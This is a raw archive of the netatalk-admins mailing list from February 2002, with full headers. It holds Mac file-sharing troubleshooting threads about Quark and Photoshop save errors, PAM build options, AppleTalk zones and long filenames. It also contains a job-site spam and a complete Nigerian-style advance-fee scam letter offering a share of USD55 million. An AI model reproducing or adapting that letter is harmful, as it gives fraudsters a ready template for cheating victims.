>> On Wed, 2002-02-20 at 08:38, Morten Dreier wrote:
>>
>>> I get some strange errors with netatalk-1.5pre6 on a RedHat 7.2 machine.
>>> When we save files in QuarkXPress, we get a error message, and Quark 
>>> is unable to save the file. The file and the resource in the 
>>> .AppleDouble directory is owned by the same user. The permissions on 
>>> the files are correct. The timestamp on the resource file indicates 
>>> that it has been modified, but the file itself has not been modified.
>>> When we copy files to the server, everything works ok - it only 
>>> occurrs when we save the files from Quark itself.
>>>
>>> Is this related to this ol prerelease version of netatalk or is this 
>>> something that I can configure in some way?
>>>
>>> -- 
>>> Morten Dreier
>>>
>>>
> 
> 
> 




From netatalk.administrators-errors@umich.edu  Fri Feb 22 10:19:52 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA06303
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 10:19:52 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1MFJq216269
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 10:19:52 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1MFJq316263
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 10:19:52 -0500 (EST)
Received: from mail.broadpark.no (mail.broadpark.no [217.13.4.2])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1MFJoN16252
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 10:19:51 -0500 (EST)
Received: from dreier.no (213-145-160-118.dd.nextgentel.com [213.145.160.118])
	by mail.broadpark.no (Postfix) with ESMTP
	id 863E682D9; Fri, 22 Feb 2002 16:09:29 +0100 (MET)
Message-ID: <3C76601A.1070809@dreier.no>
Date: Fri, 22 Feb 2002 16:13:30 +0100
From: Morten Dreier <morten@dreier.no>
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.8) Gecko/20020205
X-Accept-Language: en-us
MIME-Version: 1.0
To: Mac Conin <mconin@euc.de>, netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: New error - this time Photoshop (Re: Strange errors in  netatalk-1.5pre6)
References: <3C73A6CC.3050406@dreier.no> <1014213037.1124.9.camel@comp10574> <3C73C3B5.40606@dreier.no> <3C760F43.7050209@dreier.no> <3C76599E.6DE15EDE@euc.de>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Mac Conin wrote:
> Hm,
> 
> what version of photoshop? we're using Pshop 5.0, 5.5 with OS 9.any
> and having no problems.
> 
> what kind of error is it - cant open or anything else?

End of file.
We'll try Marcus' tip as soon as the staff goes home for the day.
We use Photoshop 5.5 and MacOS 9.1

> 
> 
> Morten Dreier wrote:
> 
>>>Thanks - 1.5.2 installed - and it looks like the problem is gone.
>>>
>>And we have another problem. This time it is concerning Photoshop Files
>>- we can't open them after we move them to the server. When we move them
>>back to the local machine, they work ok.
>>Is this another known issue?
>>The machine is using ext3 filesystem - can this be a source to the error?
>>
> 
> 




From netatalk.administrators-errors@umich.edu  Fri Feb 22 14:04:23 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id OAA18370
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 14:04:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id OAA04610
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 14:04:23 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id OAA04590
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 14:04:22 -0500 (EST)
Received: from cc1022930-d (pcp247043pcs.howard01.md.comcast.net [68.55.65.214])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id OAA27029; Fri, 22 Feb 2002 14:00:28 -0500 (EST)
Message-Id: <200202221900.OAA27029@funinacapulco.mr.itd.umich.edu>
From: Accountant / Bookkeeper <inventivemarketing@home.com>
Reply-To: inventivemarketing@home.com
Subject: Accountants / Bookkeepers jobs resumes
Date: Fri, 22 Feb 2002 13:58:54 -0800
X-Mailer: 007 Direct Email Easy
MIME-Version: 1.0
Content-Type: multipart/mixed; boundary="2b016443-279c-11d6-ab39-00a0c9936af0"


This is a multi-part message in MIME format
--2b016443-279c-11d6-ab39-00a0c9936af0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: quoted-printable

www.Bookkeeperjobs.com and www.AccountingBoard.com  are now linked. If this =
has reached you in error please forward to the proper person. Bookmark these =
sites and watch them grow.   
--2b016443-279c-11d6-ab39-00a0c9936af0--


From netatalk.administrators-errors@umich.edu  Fri Feb 22 23:13:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from giblues.mr.itd.umich.edu (giblues.mr.itd.umich.edu [141.211.125.92])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA28931
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 23:13:33 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with LDAP id g1N4DX925300
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 23:13:33 -0500 (EST)
Received: (from daemon@localhost)
	by giblues.mr.itd.umich.edu (3.6u) with X.500 id g1N4DW425296
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 23:13:32 -0500 (EST)
Received: from hotmail.com ([207.68.163.219])
	by giblues.mr.itd.umich.edu (3.6u) with ESMTP id g1N4DVO25291
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 23:13:31 -0500 (EST)
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 22 Feb 2002 20:13:31 -0800
Received: from 80.88.131.159 by sea1fd.sea1.hotmail.msn.com with HTTP;
	Sat, 23 Feb 2002 04:13:30 GMT
X-Originating-IP: [80.88.131.159]
From: "ken green kabila" <ken_green45@hotmail.com>
To: ken_green45@yahoo.com
Subject: CONFIDENTIAL 
Date: Sat, 23 Feb 2002 04:13:30 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
Message-ID: <F219jtRpeVPOEcyhJzq0000a1d9@hotmail.com>
X-OriginalArrivalTime: 23 Feb 2002 04:13:31.0155 (UTC) FILETIME=[73D74E30:01C1BC20]

ATTN:
Re Urgent Assistance

Kindly allow me the modesty of introducing myself. I am KEN GREEN
KABILA,
the son of the former head of state/ president of Congo-Kinshasha (then
called Zaire) Mr. Laurent Desire Kabila.

I am contacting you in order to ask for your assistance on this
confidential
Business proposal with full financial benefit for both of us.

Before I go into further details please be informed that I am writing
without any other person(s) pre-knowledge of my contacting you on this
transaction. Therefore I will appreciate same attitude to be maintained
all
through.

I have the sum of USD55Million from a secret sale of Diamond by my
father
before he was assassinated by one of his body guard (Rashid) on January
16th
2001, which I will like you to receive on my behalf due to security
reasons,
as my narration below will explain. But before I continue be well
informed
that your share in this transaction has been calculated at 15% of the
total
sum of USD$55M, 5% for expenses and the rest for my family and me.

My father as a real African traditionalist was a polygamist thereby
having
married so many wives, and my mother being the second wife of my
father, My
stepbrother Joseph, who is the current president of my country, is the
son
of the first wife and he does not have any knowledge about this deal.

Already president Joseph is using his power to colonize all the money
and
private property, which my father left behind for the whole family. Now
my
mother and I are left with nothing in the inheritance of my late
father's
wealth. Our situation is seriously critical that we need your
assistance to
help us receive these funds overseas for proper investment.

Let me quickly assure you the 100% safe proof of this transaction
because
the diamond sales are packaged from the onset in a pattern that shows
no
direct trace or linkage with us (Kabila family). At present the money
is in
cash and is secured in a security company as family treasures, as I
don't
want to deposit the money in a financial institution for fear of the
funds
being confiscated

The consignment will be released within seven (7) days of my being in
receipt of your reply via my email address above only for security
reasons.

I am waiting for your swift and favorable response, and in case you
have any
question(s), do not hesitate to contact me.

Best Regards,
KEN GREEN KABILA.
You can also contact me through this my alternative email
ddress( ken_green98@yahoo.com)




_________________________________________________________________
Chat with friends online, try MSN Messenger: http://messenger.msn.com


From netatalk.administrators-errors@umich.edu  Fri Feb 22 23:51:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id XAA01614
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 22 Feb 2002 23:51:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1N4pUd24608
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 22 Feb 2002 23:51:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1N4pTZ24601
	for netatalk.administrators-members@umich.edu; Fri, 22 Feb 2002 23:51:29 -0500 (EST)
Received: from tinman.daemonize.com (adsl-63-204-212-186.dsl.snfc21.pacbell.net [63.204.212.186])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1N4pQ024578
	for <netatalk-admins@umich.edu>; Fri, 22 Feb 2002 23:51:26 -0500 (EST)
Received: (from nobody@localhost)
	by tinman.daemonize.com (8.11.2/8.11.2) id g1N4pN812970
	for netatalk-admins@umich.edu; Fri, 22 Feb 2002 20:51:23 -0800
X-Authentication-Warning: tinman.daemonize.com: nobody set sender to pkrohn@daemonize.com using -f
To: netatalk-admins@umich.edu
Subject: Re: atalkd under solaris 8
Message-ID: <1014439883.3c771fcb814ad@webmail.daemonize.com>
Date: Fri, 22 Feb 2002 20:51:23 -0800 (PST)
From: Paul Krohn <pkrohn@daemonize.com>
References: <C733B2FC-2491-11D6-A9B8-003065B9104A@daemonize.com>
In-Reply-To: <C733B2FC-2491-11D6-A9B8-003065B9104A@daemonize.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
User-Agent: IMP/PHP IMAP webmail program 2.2.6

Well, it turns out that configuring netatalk --with-pam is non-trivial. I 
checked two systems, and on both I got the same error from configure:

configure: error: PAM support missing

but there's a man page for pam, and there's a /usr/lib/libpam.so. There's 
just no /usr/include/pam.h ...

I guess this isn't really a netatalk question, but what gives?

From netatalk.administrators-errors@umich.edu  Sat Feb 23 09:00:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA00207
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 23 Feb 2002 09:00:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA22230
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 23 Feb 2002 09:00:10 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA22212
	for netatalk.administrators-members@umich.edu; Sat, 23 Feb 2002 09:00:09 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA22170
	for <netatalk-admins@umich.edu>; Sat, 23 Feb 2002 09:00:08 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1NE03cW031788
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Sat, 23 Feb 2002 15:00:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1NE03ob031784
	for netatalk-admins@umich.edu; Sat, 23 Feb 2002 15:00:03 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16ecaU-0000nw-00
	for <netatalk-admins@umich.edu>; Sat, 23 Feb 2002 14:51:42 +0100
Date: Sat, 23 Feb 2002 14:50:12 +0100
To: netatalk-admins@umich.edu
Subject: Re: atalkd under solaris 8
Message-ID: <20020223135012.GC2296@jroger.in-berlin.de>
Mail-Followup-To: netatalk-admins@umich.edu
References: <C733B2FC-2491-11D6-A9B8-003065B9104A@daemonize.com> <1014439883.3c771fcb814ad@webmail.daemonize.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <1014439883.3c771fcb814ad@webmail.daemonize.com>
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Feb 22, 2002 at 08:51:23PM -0800, Paul Krohn wrote:

> Well, it turns out that configuring netatalk --with-pam is non-trivial. I 
> checked two systems, and on both I got the same error from configure:
> 
> configure: error: PAM support missing
> 
> but there's a man page for pam, and there's a /usr/lib/libpam.so. There's 
> just no /usr/include/pam.h ...

You need to install the pam-devel package (or whatever it is called on
these systems). This will contain all the necessary PAM stuff.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Feb 24 21:45:28 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id VAA04605
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Feb 2002 21:45:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id VAA24012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Feb 2002 21:45:27 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id VAA24010
	for netatalk.administrators-members@umich.edu; Sun, 24 Feb 2002 21:45:27 -0500 (EST)
Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id VAA24004
	for <netatalk-admins@umich.edu>; Sun, 24 Feb 2002 21:45:25 -0500 (EST)
Received: from jimmy (ns.falconstor.com.tw [61.218.138.234])
	by ms2.hinet.net (8.8.8/8.8.8) with SMTP id KAA10193
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 10:45:19 +0800 (CST)
From: "Sophie" <sophie@ms2.hinet.net>
To: <netatalk-admins@umich.edu>
Subject: subscribe
Date: Mon, 25 Feb 2002 10:44:55 +0800
Message-ID: <DKECINDAEAEPNEFEEGDIGEECCBAA.sophie@ms2.hinet.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal



From netatalk.administrators-errors@umich.edu  Sun Feb 24 22:02:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id WAA05171
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 24 Feb 2002 22:02:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id WAA17591
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 24 Feb 2002 22:02:53 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id WAA17589
	for netatalk.administrators-members@umich.edu; Sun, 24 Feb 2002 22:02:52 -0500 (EST)
Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id WAA17584
	for <netatalk-admins@umich.edu>; Sun, 24 Feb 2002 22:02:50 -0500 (EST)
Received: from jimmy (ns.falconstor.com.tw [61.218.138.234])
	by ms2.hinet.net (8.8.8/8.8.8) with SMTP id LAA26609
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 11:02:43 +0800 (CST)
From: "Sophie" <sophie@ms2.hinet.net>
To: <netatalk-admins@umich.edu>
Subject: Zone in AFP over IP
Date: Mon, 25 Feb 2002 11:02:19 +0800
Message-ID: <DKECINDAEAEPNEFEEGDIIEEDCBAA.sophie@ms2.hinet.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal

Dear all,

>From /netatalk-1.5.2/doc/CONFIGURE, I see that:

-Netatalk supplies two different types of AFP servers and both can run at
-the same time. Classic AFP over AppleTalk requires afpd and atalkd. AFP
-over IP only requires afpd.

If I use AFP over IP(only afpd), how can I support "zone"?(beacuse ZIP is
implemented by atalkd)

Besides, does "zone" mean much to security, or just for organizational
control?

Thanks a lot.

-- Sophie


From netatalk.administrators-errors@umich.edu  Mon Feb 25 00:58:53 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id AAA13209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 00:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id AAA19984
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 00:58:53 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id AAA19975
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 00:58:53 -0500 (EST)
Received: from ms2.hinet.net (ms2.hinet.net [168.95.4.20])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id AAA19954
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 00:58:51 -0500 (EST)
Received: from jimmy (ns.falconstor.com.tw [61.218.138.234])
	by ms2.hinet.net (8.8.8/8.8.8) with SMTP id NAA28872
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 13:58:44 +0800 (CST)
From: "Sophie" <sophie@ms2.hinet.net>
To: <netatalk-admins@umich.edu>
Subject: How to disable PAM support in netatalk-1.5.2
Date: Mon, 25 Feb 2002 13:58:17 +0800
Message-ID: <DKECINDAEAEPNEFEEGDIKEEECBAA.sophie@ms2.hinet.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="big5"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
X-MIMEOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal


Because I didn't see any option, like --with-shadow, in the 
configuration files.

Thanks.
Sophie

From netatalk.administrators-errors@umich.edu  Mon Feb 25 02:19:19 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA16716
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 02:19:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id CAA25153
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 02:19:19 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id CAA25151
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 02:19:19 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id CAA25139
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 02:19:17 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA02170;
	Mon, 25 Feb 2002 08:46:11 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 25 Feb 2002 08:19:08 +0100
Subject: Re: How to disable PAM support in netatalk-1.5.2
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sophie <sophie@ms2.hinet.net>, <netatalk-admins@umich.edu>
Message-ID: <B89FA1B5.1C7B4%Thomas.Kaiser@phg-online.de>
In-Reply-To: <DKECINDAEAEPNEFEEGDIKEEECBAA.sophie@ms2.hinet.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Sebastian wrote on the netatalk-developer list regarding this:

| On Sun, 25 Nov 2001 00:40:05 +0100, Sebastian Rittau wrote:
| 
| > With the current RC (0.8) --without-pam doesn't work, but I have
| > fixed that in the meantime. If you specify --with-pam and PAM is
| > not found, there will be an error. If you specify --without-pam,
| > PAM isn't used whether it's found or not. If you specify neither,
| > it will be used it it's found, and not otherwise.

If that doesn't work, I would try to delete the occurences of '-lpam' in the
Makefile after running configure:

    AFPD_LIBS =  -L//lib -lpam
    PAM_LIBS = -L//lib -lpam
    PAPD_LIBS =  -L//lib -lpam

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 25 02:19:33 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id CAA16742
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 02:19:33 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1P7JX020012
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 02:19:33 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1P7JWs20006
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 02:19:32 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1P7JU019982
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 02:19:31 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA02176;
	Mon, 25 Feb 2002 08:46:29 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Mon, 25 Feb 2002 08:19:09 +0100
Subject: Re: Zone in AFP over IP
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Sophie <sophie@ms2.hinet.net>, <netatalk-admins@umich.edu>
Message-ID: <B89FA3EC.1C7B5%Thomas.Kaiser@phg-online.de>
In-Reply-To: <DKECINDAEAEPNEFEEGDIIEEDCBAA.sophie@ms2.hinet.net>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Mon, 25 Feb 2002 11:02:19 +0800, Sophie wrote:

> If I use AFP over IP(only afpd), how can I support "zone"?(beacuse ZIP is
> implemented by atalkd)

Well, given this scenario, you cannot use zones at all, because zones are
only used for publishing services and names with NBP (name binding protocol)
in a structured way.

> Besides, does "zone" mean much to security,

Some AppleTalk routers implement something like this, so you can use access
control lists to hide services or devices in different zones and so on. But
this is a very simple level of 'security'.

If you use tcp wrappers on your server then you will have a higher level of
security than with AppleTalk, IMO.

> or just for organizational control?

That's it. For TCP only networks you can use nowadays the Service Location
Protocol (SLP). The equivalent to zones are the so called scopes. More
information on <http://www.openslp.org>

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Mon Feb 25 03:10:14 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA18358
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 03:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA23507
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 03:10:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA23499
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 03:10:13 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA23476
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 03:10:12 -0500 (EST)
Received: from host213-122-55-26.in-addr.btopenworld.com ([213.122.55.26] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16fGCw-0004ZF-00
	for netatalk-admins@umich.edu; Mon, 25 Feb 2002 08:10:02 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id HAA10145
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 07:41:13 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p05100314b89f997b9696@[10.0.1.10]>
X-Mailer: Eudora for Macintosh!
Date: Mon, 25 Feb 2002 07:41:12 +0000
To: Netatalk List <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: long filenames
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Does anyone know when Netatalk is scheduled to incorporate support 
for AFP 3 and get long filename support?

In the meantime, is there any way to configure it to display the 
files with some sort of munged name rather than simply hiding those 
files as it does now? I wouldn't mind if it simply truncated the name 
to 31 chars, but not listing them at all is a problem.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Mon Feb 25 03:42:45 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id DAA19620
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Mon, 25 Feb 2002 03:42:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id DAA07228
	for netatalk-admins@terminator.rsug.itd.umich.edu; Mon, 25 Feb 2002 03:42:45 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id DAA07216
	for netatalk.administrators-members@umich.edu; Mon, 25 Feb 2002 03:42:45 -0500 (EST)
Received: from arena.delfi.lv (mail.parks.lv [195.2.96.15])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id DAA07183
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 03:42:43 -0500 (EST)
Received: from [192.168.0.18] (starlet.delfi.lv [195.114.46.32])
	by arena.delfi.lv (8.9.3/8.9.1/OL.cf-3.1) with SMTP id KAA17920
	for <netatalk-admins@umich.edu>; Mon, 25 Feb 2002 10:42:42 +0200
Message-Id: <200202250842.KAA17920@arena.delfi.lv>
Subject: NETATALK limitsize Problem
Date: Mon, 25 Feb 2002 10:41:57 +0200
x-sender: andrei.verovski@mail.parks.lv
x-mailer: Claris Emailer 2.0v3, January 22, 1998
From: Andrei Verovski <andrei.verovski@parks.lv>
To: <netatalk-admins@umich.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"

Hi,


I have a problem with Netatalk 1.5 from SuSE 7.3. In short, in order old 
Macs get working with 40 GB shared volume NETATALK should report that 
share size is only 2 GB, otherwise old Mac recognizes 22 MB folder with a 
lot of small files as being over 400 MB (old MacOS does  understands only 
volumes with fixed number of sectors).


NETATALK has an option called limitsize, however, I have been unable to 
get it working. I have tried "~  option:limitisize", "~  
limitsize:2048000000", "~  option:limitisize:2048000000". Tilde ("~") 
means user-home-dir sharing by default.


I have removed all other options, but it does not seem working anyway. It 
seems this options is just being ignored (or may be I have used wrong 
syntax?).


Thanks in advance for any suggestions.

Andrei


From netatalk.administrators-errors@umich.edu  Mon Feb 25 04:12:44 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from vivalasvegas.mr.itd.umich.edu (vivalasvegas.mr.itd.umich.edu [141.211.125.91])
